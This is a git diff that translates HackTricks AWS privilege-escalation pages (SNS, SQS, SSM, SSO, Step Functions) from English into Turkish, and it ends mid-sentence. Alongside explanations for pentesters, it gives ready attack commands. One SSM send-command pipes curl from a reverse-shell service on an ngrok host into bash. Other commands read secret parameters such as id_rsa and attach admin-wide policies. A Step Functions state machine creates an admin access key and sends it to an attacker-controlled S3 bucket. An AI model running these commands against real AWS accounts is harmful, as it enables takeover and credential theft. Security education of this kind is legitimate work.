kaynakların tükenmesine neden olabilir. ```bash aws sns publish --topic-arn --message ``` - -**Potential Impact**: Vulnerability exploitation, Data corruption, unintended actions, or resource exhaustion. +**Potansiyel Etki**: Açık istismarı, Veri bozulması, istenmeyen eylemler veya kaynak tükenmesi. ### `sns:Subscribe` -An attacker could subscribe or to an SNS topic, potentially gaining unauthorized access to messages or disrupting the normal functioning of applications relying on the topic. - +Bir saldırgan, bir SNS konusuna abone olabilir ve bu da potansiyel olarak mesajlara yetkisiz erişim kazanmasına veya konuyu kullanan uygulamaların normal işleyişini bozmasına neden olabilir. ```bash aws sns subscribe --topic-arn --protocol --endpoint ``` - -**Potential Impact**: Unauthorized access to messages (sensitve info), service disruption for applications relying on the affected topic. +**Potansiyel Etki**: Mesajlara (hassas bilgi) yetkisiz erişim, etkilenen konuya bağlı uygulamalar için hizmet kesintisi. ### `sns:AddPermission` -An attacker could grant unauthorized users or services access to an SNS topic, potentially getting further permissions. - +Bir saldırgan, yetkisiz kullanıcılara veya hizmetlere bir SNS konusuna erişim verebilir ve potansiyel olarak daha fazla izin elde edebilir. ```css aws sns add-permission --topic-arn --label --aws-account-id --action-name ``` - -**Potential Impact**: Unauthorized access to the topic, message exposure, or topic manipulation by unauthorized users or services, disruption of normal functioning for applications relying on the topic. +**Potansiyel Etki**: Yetkisiz kullanıcılar veya hizmetler tarafından konuya yetkisiz erişim, mesajların ifşası veya konunun manipülasyonu, konuya bağlı uygulamaların normal işleyişinin kesintiye uğraması. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md index 384ed8430..aaef7dd95 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md @@ -4,7 +4,7 @@ ## SQS -For more information check: +Daha fazla bilgi için kontrol edin: {{#ref}} ../aws-services/aws-sqs-and-sns-enum.md @@ -12,39 +12,29 @@ For more information check: ### `sqs:AddPermission` -An attacker could use this permission to grant unauthorized users or services access to an SQS queue by creating new policies or modifying existing policies. This could result in unauthorized access to the messages in the queue or manipulation of the queue by unauthorized entities. - +Bir saldırgan, bu izni kullanarak yetkisiz kullanıcılar veya hizmetlere bir SQS kuyruğuna erişim sağlamak için yeni politikalar oluşturabilir veya mevcut politikaları değiştirebilir. Bu, kuyruğun içindeki mesajlara yetkisiz erişim veya yetkisiz varlıklar tarafından kuyruğun manipülasyonu ile sonuçlanabilir. ```bash cssCopy codeaws sqs add-permission --queue-url --actions --aws-account-ids --label ``` - -**Potential Impact**: Unauthorized access to the queue, message exposure, or queue manipulation by unauthorized users or services. +**Potansiyel Etki**: Yetkisiz kullanıcılar veya hizmetler tarafından kuyruğa yetkisiz erişim, mesaj ifşası veya kuyruk manipülasyonu. ### `sqs:SendMessage` , `sqs:SendMessageBatch` -An attacker could send malicious or unwanted messages to the SQS queue, potentially causing data corruption, triggering unintended actions, or exhausting resources. - +Bir saldırgan, SQS kuyruğuna kötü niyetli veya istenmeyen mesajlar gönderebilir, bu da veri bozulmasına, istenmeyen eylemlerin tetiklenmesine veya kaynakların tükenmesine neden olabilir. ```bash aws sqs send-message --queue-url --message-body aws sqs send-message-batch --queue-url --entries ``` - -**Potential Impact**: Vulnerability exploitation, Data corruption, unintended actions, or resource exhaustion. +**Potansiyel Etki**: Açıkların istismarı, Veri bozulması, istenmeyen eylemler veya kaynak tükenmesi. ### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` -An attacker could receive, delete, or modify the visibility of messages in an SQS queue, causing message loss, data corruption, or service disruption for applications relying on those messages. - +Bir saldırgan, bir SQS kuyruğundaki mesajları alabilir, silebilir veya görünürlüklerini değiştirebilir, bu da mesaj kaybına, veri bozulmasına veya bu mesajlara bağımlı uygulamalar için hizmet kesintisine neden olabilir. ```bash aws sqs receive-message --queue-url aws sqs delete-message --queue-url --receipt-handle aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout ``` - -**Potential Impact**: Steal sensitive information, Message loss, data corruption, and service disruption for applications relying on the affected messages. +**Potansiyel Etki**: Hassas bilgilerin çalınması, Mesaj kaybı, veri bozulması ve etkilenen mesajlara bağımlı uygulamalar için hizmet kesintisi. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md index c4067e2ca..bb354e3e0 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md @@ -4,7 +4,7 @@ ## SSM -For more info about SSM check: +SSM hakkında daha fazla bilgi için kontrol edin: {{#ref}} ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ @@ -12,8 +12,7 @@ For more info about SSM check: ### `ssm:SendCommand` -An attacker with the permission **`ssm:SendCommand`** can **execute commands in instances** running the Amazon SSM Agent and **compromise the IAM Role** running inside of it. - +**`ssm:SendCommand`** iznine sahip bir saldırgan, **Amazon SSM Agent'ı çalıştıran örneklerde komutlar çalıştırabilir** ve **içinde çalışan IAM Rolünü tehlikeye atabilir.** ```bash # Check for configured instances aws ssm describe-instance-information @@ -21,26 +20,22 @@ aws ssm describe-sessions --state Active # Send rev shell command aws ssm send-command --instance-ids "$INSTANCE_ID" \ - --document-name "AWS-RunShellScript" --output text \ - --parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash" +--document-name "AWS-RunShellScript" --output text \ +--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash" ``` - -In case you are using this technique to escalate privileges inside an already compromised EC2 instance, you could just capture the rev shell locally with: - +Eğer bu tekniği zaten ele geçirilmiş bir EC2 örneği içinde ayrıcalıkları artırmak için kullanıyorsanız, rev shell'i yerel olarak şu şekilde yakalayabilirsiniz: ```bash # If you are in the machine you can capture the reverseshel inside of it nc -lvnp 4444 #Inside the EC2 instance aws ssm send-command --instance-ids "$INSTANCE_ID" \ - --document-name "AWS-RunShellScript" --output text \ - --parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash" +--document-name "AWS-RunShellScript" --output text \ +--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash" ``` - -**Potential Impact:** Direct privesc to the EC2 IAM roles attached to running instances with SSM Agents running. +**Potansiyel Etki:** SSM Agent'ları çalışan örneklere bağlı EC2 IAM rollerine doğrudan yetki yükseltme. ### `ssm:StartSession` -An attacker with the permission **`ssm:StartSession`** can **start a SSH like session in instances** running the Amazon SSM Agent and **compromise the IAM Role** running inside of it. - +**`ssm:StartSession`** iznine sahip bir saldırgan, **Amazon SSM Agent'ı çalışan örneklerde SSH benzeri bir oturum başlatabilir** ve **içinde çalışan IAM Rolünü tehlikeye atabilir.** ```bash # Check for configured instances aws ssm describe-instance-information @@ -49,68 +44,58 @@ aws ssm describe-sessions --state Active # Send rev shell command aws ssm start-session --target "$INSTANCE_ID" ``` - > [!CAUTION] -> In order to start a session you need the **SessionManagerPlugin** installed: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html) +> Bir oturum başlatmak için **SessionManagerPlugin**'in kurulu olması gerekir: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html) -**Potential Impact:** Direct privesc to the EC2 IAM roles attached to running instances with SSM Agents running. +**Potansiyel Etki:** SSM Agent'ları çalışan örneklere bağlı EC2 IAM rollerine doğrudan privesc. -#### Privesc to ECS - -When **ECS tasks** run with **`ExecuteCommand` enabled** users with enough permissions can use `ecs execute-command` to **execute a command** inside the container.\ -According to [**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) this is done by creating a secure channel between the device you use to initiate the “_exec_“ command and the target container with SSM Session Manager. (SSM Session Manager Plugin necesary for this to work)\ -Therefore, users with `ssm:StartSession` will be able to **get a shell inside ECS tasks** with that option enabled just running: +#### ECS'ye Privesc +**ECS görevleri** **`ExecuteCommand` etkinleştirildiğinde** yeterli izinlere sahip kullanıcılar `ecs execute-command` kullanarak **bir komut çalıştırabilirler** konteyner içinde.\ +[**belgelere göre**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) bu, “_exec_” komutunu başlatmak için kullandığınız cihaz ile SSM Session Manager ile hedef konteyner arasında güvenli bir kanal oluşturarak yapılır. (Bunun çalışması için SSM Session Manager Plugin gereklidir)\ +Bu nedenle, `ssm:StartSession` iznine sahip kullanıcılar, o seçenek etkinleştirildiğinde **ECS görevleri içinde bir shell alabileceklerdir** sadece şunu çalıştırarak: ```bash aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID" ``` - ![](<../../../images/image (185).png>) -**Potential Impact:** Direct privesc to the `ECS`IAM roles attached to running tasks with `ExecuteCommand` enabled. +**Potansiyel Etki:** `ExecuteCommand` etkin olan çalışan görevlere bağlı `ECS` IAM rollerine doğrudan yetki yükseltme. ### `ssm:ResumeSession` -An attacker with the permission **`ssm:ResumeSession`** can re-**start a SSH like session in instances** running the Amazon SSM Agent with a **disconnected** SSM session state and **compromise the IAM Role** running inside of it. - +**`ssm:ResumeSession`** iznine sahip bir saldırgan, Amazon SSM Agent'ı çalıştıran örneklerde **bağlantısı kesilmiş** SSM oturum durumu ile bir SSH benzeri oturumu yeniden **başlatabilir** ve içindeki IAM Rolünü **tehdit edebilir**. ```bash # Check for configured instances aws ssm describe-sessions # Get resume data (you will probably need to do something else with this info to connect) aws ssm resume-session \ - --session-id Mary-Major-07a16060613c408b5 +--session-id Mary-Major-07a16060613c408b5 ``` - -**Potential Impact:** Direct privesc to the EC2 IAM roles attached to running instances with SSM Agents running and disconected sessions. +**Potansiyel Etki:** Çalışan örneklere bağlı EC2 IAM rollerine doğrudan privesc ve SSM Ajansı çalışan ve bağlantısı kesilmiş oturumlar. ### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`) -An attacker with the mentioned permissions is going to be able to list the **SSM parameters** and **read them in clear-text**. In these parameters you can frequently **find sensitive information** such as SSH keys or API keys. - +Belirtilen izinlere sahip bir saldırgan, **SSM parametrelerini** listeleyebilecek ve **açık metin olarak okuyabilecektir**. Bu parametrelerde genellikle **hassas bilgiler** bulabilirsiniz, örneğin SSH anahtarları veya API anahtarları. ```bash aws ssm describe-parameters # Suppose that you found a parameter called "id_rsa" aws ssm get-parameters --names id_rsa --with-decryption aws ssm get-parameter --name id_rsa --with-decryption ``` - -**Potential Impact:** Find sensitive information inside the parameters. +**Olası Etki:** Parametreler içinde hassas bilgileri bulma. ### `ssm:ListCommands` -An attacker with this permission can list all the **commands** sent and hopefully find **sensitive information** on them. - +Bu izne sahip bir saldırgan, gönderilen tüm **komutları** listeleyebilir ve umarım bunlarda **hassas bilgileri** bulabilir. ``` aws ssm list-commands ``` - -**Potential Impact:** Find sensitive information inside the command lines. +**Olası Etki:** Komut satırlarında hassas bilgileri bulmak. ### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`) -An attacker with these permissions can list all the **commands** sent and **read the output** generated hopefully finding **sensitive information** on it. - +Bu izinlere sahip bir saldırgan, gönderilen tüm **komutları** listeleyebilir ve **çıktıyı okuyabilir**, umarım üzerinde **hassas bilgiler** bulabilir. ```bash # You can use any of both options to get the command-id and instance id aws ssm list-commands @@ -118,19 +103,14 @@ aws ssm list-command-invocations aws ssm get-command-invocation --command-id --instance-id ``` - -**Potential Impact:** Find sensitive information inside the output of the command lines. +**Olası Etki:** Komut satırlarının çıktısında hassas bilgileri bulmak. ### Codebuild -You can also use SSM to get inside a codebuild project being built: +Ayrıca, SSM'yi inşa edilen bir codebuild projesine girmek için de kullanabilirsiniz: {{#ref}} aws-codebuild-privesc.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md index 0fb4e10a1..634a4d95f 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md @@ -4,58 +4,53 @@ ## AWS Identity Center / AWS SSO -For more information about AWS Identity Center / AWS SSO check: +AWS Identity Center / AWS SSO hakkında daha fazla bilgi için kontrol edin: {{#ref}} ../aws-services/aws-iam-enum.md {{#endref}} > [!WARNING] -> Note that by **default**, only **users** with permissions **form** the **Management Account** are going to be able to access and **control the IAM Identity Center**.\ -> Users from other accounts can only allow it if the account is a **Delegated Adminstrator.**\ -> [Check the docs for more info.](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html) +> **Varsayılan** olarak, yalnızca **Yönetim Hesabı** ile izinleri olan **kullanıcılar**, **IAM Kimlik Merkezi**'ne erişim sağlayabilir ve kontrol edebilir.\ +> Diğer hesaplardan kullanıcılar, yalnızca hesap **Delegeli Yönetici** ise bunu yapabilir.\ +> [Daha fazla bilgi için belgeleri kontrol edin.](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html) -### ~~Reset Password~~ +### ~~Şifreyi Sıfırla~~ -An easy way to escalate privileges in cases like this one would be to have a permission that allows to reset users passwords. Unfortunately it's only possible to send an email to the user to reset his password, so you would need access to the users email. +Bu tür durumlarda ayrıcalıkları artırmanın kolay bir yolu, kullanıcıların şifrelerini sıfırlamalarına izin veren bir izne sahip olmaktır. Ne yazık ki, kullanıcının şifresini sıfırlamak için yalnızca kullanıcıya bir e-posta göndermek mümkündür, bu nedenle kullanıcının e-posta erişimine ihtiyacınız olacaktır. ### `identitystore:CreateGroupMembership` -With this permission it's possible to set a user inside a group so he will inherit all the permissions the group has. - +Bu izinle, bir kullanıcıyı bir gruba eklemek mümkündür, böylece grup tarafından sahip olunan tüm izinleri miras alır. ```bash aws identitystore create-group-membership --identity-store-id --group-id --member-id UserId= ``` - ### `sso:PutInlinePolicyToPermissionSet`, `sso:ProvisionPermissionSet` -An attacker with this permission could grant extra permissions to a Permission Set that is granted to a user under his control - +Bu izne sahip bir saldırgan, kontrolü altındaki bir kullanıcıya verilen bir İzin Setine ek izinler verebilir. ```bash # Set an inline policy with admin privileges aws sso-admin put-inline-policy-to-permission-set --instance-arn --permission-set-arn --inline-policy file:///tmp/policy.yaml # Content of /tmp/policy.yaml { - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "Statement1", - "Effect": "Allow", - "Action": ["*"], - "Resource": ["*"] - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "Statement1", +"Effect": "Allow", +"Action": ["*"], +"Resource": ["*"] +} +] } # Update the provisioning so the new policy is created in the account aws sso-admin provision-permission-set --instance-arn --permission-set-arn --target-type ALL_PROVISIONED_ACCOUNTS ``` - ### `sso:AttachManagedPolicyToPermissionSet`, `sso:ProvisionPermissionSet` -An attacker with this permission could grant extra permissions to a Permission Set that is granted to a user under his control - +Bu izne sahip bir saldırgan, kontrolü altındaki bir kullanıcıya verilen bir İzin Setine ek izinler verebilir. ```bash # Set AdministratorAccess policy to the permission set aws sso-admin attach-managed-policy-to-permission-set --instance-arn --permission-set-arn --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess" @@ -63,14 +58,12 @@ aws sso-admin attach-managed-policy-to-permission-set --instance-arn --permission-set-arn --target-type ALL_PROVISIONED_ACCOUNTS ``` - ### `sso:AttachCustomerManagedPolicyReferenceToPermissionSet`, `sso:ProvisionPermissionSet` -An attacker with this permission could grant extra permissions to a Permission Set that is granted to a user under his control. +Bu izne sahip bir saldırgan, kontrolü altındaki bir kullanıcıya verilen bir İzin Setine ek izinler verebilir. > [!WARNING] -> To abuse these permissions in this case you need to know the **name of a customer managed policy that is inside ALL the accounts** that are going to be affected. - +> Bu izinleri kötüye kullanmak için, etkilenecek **tüm hesaplar içinde bulunan bir müşteri yönetimli politikanın adını** bilmeniz gerekir. ```bash # Set AdministratorAccess policy to the permission set aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn --permission-set-arn --customer-managed-policy-reference @@ -78,59 +71,42 @@ aws sso-admin attach-customer-managed-policy-reference-to-permission-set --insta # Update the provisioning so the new policy is created in the account aws sso-admin provision-permission-set --instance-arn --permission-set-arn --target-type ALL_PROVISIONED_ACCOUNTS ``` - ### `sso:CreateAccountAssignment` -An attacker with this permission could give a Permission Set to a user under his control to an account. - +Bu izne sahip bir saldırgan, kontrolü altındaki bir kullanıcıya bir hesap için bir İzin Seti verebilir. ```bash aws sso-admin create-account-assignment --instance-arn --target-id --target-type AWS_ACCOUNT --permission-set-arn --principal-type USER --principal-id ``` - ### `sso:GetRoleCredentials` -Returns the STS short-term credentials for a given role name that is assigned to the user. - +Kullanıcıya atanmış belirli bir rol adı için STS kısa vadeli kimlik bilgilerini döndürür. ``` aws sso get-role-credentials --role-name --account-id --access-token ``` - -However, you need an access token that I'm not sure how to get (TODO). +Ancak, nasıl elde edileceğinden emin olmadığım bir erişim belirtecine ihtiyacınız var (TODO). ### `sso:DetachManagedPolicyFromPermissionSet` -An attacker with this permission can remove the association between an AWS managed policy from the specified permission set. It is possible to grant more privileges via **detaching a managed policy (deny policy)**. - +Bu izne sahip bir saldırgan, belirtilen izin setinden bir AWS yönetilen politikasının ilişkilendirmesini kaldırabilir. **Yönetilen bir politikayı ayırarak (reddetme politikası)** daha fazla ayrıcalık vermek mümkündür. ```bash aws sso-admin detach-managed-policy-from-permission-set --instance-arn --permission-set-arn --managed-policy-arn ``` - ### `sso:DetachCustomerManagedPolicyReferenceFromPermissionSet` -An attacker with this permission can remove the association between a Customer managed policy from the specified permission set. It is possible to grant more privileges via **detaching a managed policy (deny policy)**. - +Bu izne sahip bir saldırgan, belirtilen izin setinden bir Müşteri yönetimli politikanın ilişkilendirmesini kaldırabilir. **Yönetilen bir politikayı (reddetme politikası) ayırarak** daha fazla ayrıcalık vermek mümkündür. ```bash aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn --permission-set-arn --customer-managed-policy-reference ``` - ### `sso:DeleteInlinePolicyFromPermissionSet` -An attacker with this permission can action remove the permissions from an inline policy from the permission set. It is possible to grant **more privileges via detaching an inline policy (deny policy)**. - +Bu izne sahip bir saldırgan, izin setinden bir inline politikasını kaldırma işlemi gerçekleştirebilir. **Bir inline politikayı (reddetme politikası) ayırarak daha fazla ayrıcalık vermek mümkündür.** ```bash aws sso-admin delete-inline-policy-from-permission-set --instance-arn --permission-set-arn ``` - ### `sso:DeletePermissionBoundaryFromPermissionSet` -An attacker with this permission can remove the Permission Boundary from the permission set. It is possible to grant **more privileges by removing the restrictions on the Permission Set** given from the Permission Boundary. - +Bu izne sahip bir saldırgan, izin setinden İzin Sınırını kaldırabilir. İzin Sınırından verilen İzin Seti üzerindeki kısıtlamaları kaldırarak **daha fazla ayrıcalık vermek mümkündür.** ```bash aws sso-admin delete-permissions-boundary-from-permission-set --instance-arn --permission-set-arn ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md index bfc3adb77..cf0032a0f 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md @@ -4,73 +4,66 @@ ## Step Functions -For more information about this AWS service, check: +Bu AWS hizmeti hakkında daha fazla bilgi için kontrol edin: {{#ref}} ../aws-services/aws-stepfunctions-enum.md {{#endref}} -### Task Resources +### Görev Kaynakları -These privilege escalation techniques are going to require to use some AWS step function resources in order to perform the desired privilege escalation actions. +Bu ayrıcalık yükseltme teknikleri, istenen ayrıcalık yükseltme eylemlerini gerçekleştirmek için bazı AWS step function kaynaklarını kullanmayı gerektirecektir. -In order to check all the possible actions, you could go to your own AWS account select the action you would like to use and see the parameters it's using, like in: +Tüm olası eylemleri kontrol etmek için kendi AWS hesabınıza gidip kullanmak istediğiniz eylemi seçebilir ve kullandığı parametreleri görebilirsiniz, örneğin:
-Or you could also go to the API AWS documentation and check each action docs: +Ya da API AWS belgelerine gidip her eylem belgesini kontrol edebilirsiniz: - [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html) - [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html) ### `states:TestState` & `iam:PassRole` -An attacker with the **`states:TestState`** & **`iam:PassRole`** permissions can test any state and pass any IAM role to it without creating or updating an existing state machine, enabling unauthorized access to other AWS services with the roles' permissions. potentially. Combined, these permissions can lead to extensive unauthorized actions, from manipulating workflows to alter data to data breaches, resource manipulation, and privilege escalation. - +**`states:TestState`** & **`iam:PassRole`** izinlerine sahip bir saldırgan, mevcut bir durum makinesi oluşturmadan veya güncellemeden herhangi bir durumu test edebilir ve ona herhangi bir IAM rolü geçirebilir, bu da rollerin izinleriyle diğer AWS hizmetlerine yetkisiz erişim sağlar. Birleştiğinde, bu izinler, veri manipülasyonundan veri ihlallerine, kaynak manipülasyonuna ve ayrıcalık yükseltmeye kadar geniş yetkisiz eylemlere yol açabilir. ```bash aws states test-state --definition --role-arn [--input ] [--inspection-level ] [--reveal-secrets | --no-reveal-secrets] ``` - -The following examples show how to test an state that creates an access key for the **`admin`** user leveraging these permissions and a permissive role of the AWS environment. This permissive role should have any high-privileged policy associated with it (for example **`arn:aws:iam::aws:policy/AdministratorAccess`**) that allows the state to perform the **`iam:CreateAccessKey`** action: +Aşağıdaki örnekler, bu izinleri ve AWS ortamının izinli rolünü kullanarak **`admin`** kullanıcısı için bir erişim anahtarı oluşturan bir durumu test etmenin nasıl olduğunu göstermektedir. Bu izinli rol, duruma **`iam:CreateAccessKey`** eylemini gerçekleştirme izni veren herhangi bir yüksek ayrıcalıklı politika ile ilişkilendirilmelidir (örneğin **`arn:aws:iam::aws:policy/AdministratorAccess`**): - **stateDefinition.json**: - ```json { - "Type": "Task", - "Parameters": { - "UserName": "admin" - }, - "Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey", - "End": true +"Type": "Task", +"Parameters": { +"UserName": "admin" +}, +"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey", +"End": true } ``` - -- **Command** executed to perform the privesc: - +- **Komut** privesc gerçekleştirmek için çalıştırıldı: ```bash aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam:::role/PermissiveRole { - "output": "{ - \"AccessKey\":{ - \"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\", - \"CreateDate\":\"2024-07-09T16:59:11Z\", - \"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\", - \"Status\":\"Active\", - \"UserName\":\"admin\" - } - }", - "status": "SUCCEEDED" +"output": "{ +\"AccessKey\":{ +\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\", +\"CreateDate\":\"2024-07-09T16:59:11Z\", +\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\", +\"Status\":\"Active\", +\"UserName\":\"admin\" +} +}", +"status": "SUCCEEDED" } ``` - -**Potential Impact**: Unauthorized execution and manipulation of workflows and access to sensitive resources, potentially leading to significant security breaches. +**Potansiyel Etki**: Yetkisiz yürütme ve iş akışlarının manipülasyonu ile hassas kaynaklara erişim, bu da önemli güvenlik ihlallerine yol açabilir. ### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`) -An attacker with the **`states:CreateStateMachine`**& **`iam:PassRole`** would be able to create an state machine and provide to it any IAM role, enabling unauthorized access to other AWS services with the roles' permissions. In contrast with the previous privesc technique (**`states:TestState`** & **`iam:PassRole`**), this one does not execute by itself, you will also need to have the **`states:StartExecution`** or **`states:StartSyncExecution`** permissions (**`states:StartSyncExecution`** is **not available for standard workflows**, **just to express state machines**) in order to start and execution over the state machine. - +**`states:CreateStateMachine`** & **`iam:PassRole`** yetkisine sahip bir saldırgan, bir durum makinesi oluşturabilir ve ona herhangi bir IAM rolü verebilir, bu da diğer AWS hizmetlerine rol izinleriyle yetkisiz erişim sağlar. Önceki privesc tekniğiyle (**`states:TestState`** & **`iam:PassRole`**) karşılaştırıldığında, bu teknik kendiliğinden çalışmaz, ayrıca **`states:StartExecution`** veya **`states:StartSyncExecution`** izinlerine de sahip olmanız gerekir (**`states:StartSyncExecution`** **standart iş akışları için mevcut değildir**, **sadece durum makinelerini ifade etmek için**) durum makinesi üzerinde bir yürütme başlatmak için. ```bash # Create a state machine aws states create-state-machine --name --definition --role-arn [--type ] [--logging-configuration ]\ @@ -82,176 +75,157 @@ aws states start-execution --state-machine-arn [--name ] [--input # Start a Synchronous Express state machine execution aws states start-sync-execution --state-machine-arn [--name ] [--input ] [--trace-header ] ``` - -The following examples show how to create an state machine that creates an access key for the **`admin`** user and exfiltrates this access key to an attacker-controlled S3 bucket, leveraging these permissions and a permissive role of the AWS environment. This permissive role should have any high-privileged policy associated with it (for example **`arn:aws:iam::aws:policy/AdministratorAccess`**) that allows the state machine to perform the **`iam:CreateAccessKey`** & **`s3:putObject`** actions. +Aşağıdaki örnekler, **`admin`** kullanıcısı için bir erişim anahtarı oluşturan ve bu erişim anahtarını bir saldırgan kontrolündeki S3 bucket'ına sızdıran bir durum makinesi oluşturmanın nasıl yapılacağını göstermektedir. Bu izinleri ve AWS ortamının izin verici rolünü kullanarak. Bu izin verici rol, durum makinesinin **`iam:CreateAccessKey`** ve **`s3:putObject`** eylemlerini gerçekleştirmesine izin veren herhangi bir yüksek ayrıcalıklı politika ile ilişkilendirilmelidir (örneğin **`arn:aws:iam::aws:policy/AdministratorAccess`**). - **stateMachineDefinition.json**: - ```json { - "Comment": "Malicious state machine to create IAM access key and upload to S3", - "StartAt": "CreateAccessKey", - "States": { - "CreateAccessKey": { - "Type": "Task", - "Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey", - "Parameters": { - "UserName": "admin" - }, - "ResultPath": "$.AccessKeyResult", - "Next": "PrepareS3PutObject" - }, - "PrepareS3PutObject": { - "Type": "Pass", - "Parameters": { - "Body.$": "$.AccessKeyResult.AccessKey", - "Bucket": "attacker-controlled-S3-bucket", - "Key": "AccessKey.json" - }, - "ResultPath": "$.S3PutObjectParams", - "Next": "PutObject" - }, - "PutObject": { - "Type": "Task", - "Resource": "arn:aws:states:::aws-sdk:s3:putObject", - "Parameters": { - "Body.$": "$.S3PutObjectParams.Body", - "Bucket.$": "$.S3PutObjectParams.Bucket", - "Key.$": "$.S3PutObjectParams.Key" - }, - "End": true - } - } +"Comment": "Malicious state machine to create IAM access key and upload to S3", +"StartAt": "CreateAccessKey", +"States": { +"CreateAccessKey": { +"Type": "Task", +"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey", +"Parameters": { +"UserName": "admin" +}, +"ResultPath": "$.AccessKeyResult", +"Next": "PrepareS3PutObject" +}, +"PrepareS3PutObject": { +"Type": "Pass", +"Parameters": { +"Body.$": "$.AccessKeyResult.AccessKey", +"Bucket": "attacker-controlled-S3-bucket", +"Key": "AccessKey.json" +}, +"ResultPath": "$.S3PutObjectParams", +"Next": "PutObject" +}, +"PutObject": { +"Type": "Task", +"Resource": "arn:aws:states:::aws-sdk:s3:putObject", +"Parameters": { +"Body.$": "$.S3PutObjectParams.Body", +"Bucket.$": "$.S3PutObjectParams.Bucket", +"Key.$": "$.S3PutObjectParams.Key" +}, +"End": true +} +} } ``` - -- **Command** executed to **create the state machine**: - +- **Durum makinesi** oluşturmak için **çalıştırılan komut**: ```bash aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole { - "stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine", - "creationDate": "2024-07-09T20:29:35.381000+02:00" +"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine", +"creationDate": "2024-07-09T20:29:35.381000+02:00" } ``` - -- **Command** executed to **start an execution** of the previously created state machine: - +- **Komut** daha önce oluşturulan durum makinesinin **çalıştırılmasını başlatmak** için yürütüldü: ```json aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine { - "executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", - "startDate": "2024-07-09T20:33:35.466000+02:00" +"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", +"startDate": "2024-07-09T20:33:35.466000+02:00" } ``` - > [!WARNING] -> The attacker-controlled S3 bucket should have permissions to accept an s3:PutObject action from the victim account. +> Saldırgan kontrolündeki S3 bucket, mağdur hesabından bir s3:PutObject eylemini kabul etmek için izinlere sahip 